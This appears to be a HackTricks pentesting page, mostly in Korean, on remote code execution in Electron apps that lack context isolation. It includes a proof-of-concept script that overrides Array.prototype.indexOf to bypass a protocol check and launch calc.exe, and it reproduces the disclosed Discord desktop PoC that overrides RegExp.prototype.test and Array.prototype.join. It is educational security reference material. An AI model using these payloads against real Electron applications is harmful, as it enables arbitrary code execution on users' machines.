Electron contextIsolation RCE via preload code

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Example 1

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30의 예시

이 코드는 기본 브라우저로 http(s) 링크를 엽니다:

file:///C:/Windows/systemd32/calc.exe와 같은 것을 사용하여 calc를 실행할 수 있으며, SAFE_PROTOCOLS.indexOf가 이를 방지하고 있습니다.

따라서 공격자는 XSS 또는 임의 페이지 탐색을 통해 이 JS 코드를 주입할 수 있습니다:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

SAFE_PROTOCOLS.indexOf를 호출하면 항상 1337을 반환하므로, 공격자는 보호를 우회하고 calc를 실행할 수 있습니다. 최종 익스플로잇:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

원본 슬라이드를 확인하여 권한 요청 프롬프트 없이 프로그램을 실행하는 다른 방법을 찾아보세요.

명백히 코드를 로드하고 실행하는 또 다른 방법은 file://127.0.0.1/electron/rce.jar와 같은 경로에 접근하는 것입니다.

예제 2: Discord 앱 RCE

https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1에서의 예제

프리로드 스크립트를 확인하는 동안 Discord가 DiscordNative.nativeModules.requireModule('MODULE-NAME')를 통해 일부 허용된 모듈을 호출할 수 있는 기능을 웹 페이지에 노출한다는 것을 발견했습니다. 여기서 child_process 모듈과 같이 RCE에 직접 사용할 수 있는 모듈은 사용할 수 없었지만, JavaScript 내장 메서드를 오버라이드하고 노출된 모듈의 실행에 간섭함으로써 RCE를 달성할 수 있는 코드를 발견했습니다.

다음은 PoC입니다. RegExp.prototype.testArray.prototype.join을 오버라이드하면서 devTools에서 "discord_utils"라는 모듈에 정의된 getGPUDriverVersions 함수를 호출할 때 calc 애플리케이션이 팝업되는 것을 확인할 수 있었습니다.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions 함수는 다음과 같이 "execa" 라이브러리를 사용하여 프로그램을 실행하려고 시도합니다.

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

보통 execa_는 nvidiaSmiPath 변수에 지정된 "nvidia-smi.exe"를 실행하려고 하지만, 오버라이드된 RegExp.prototype.testArray.prototype.join 때문에 인자는 _execa_의 내부 처리에서 "calc_"로 대체됩니다.

구체적으로, 인자는 다음 두 부분을 변경하여 대체됩니다.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated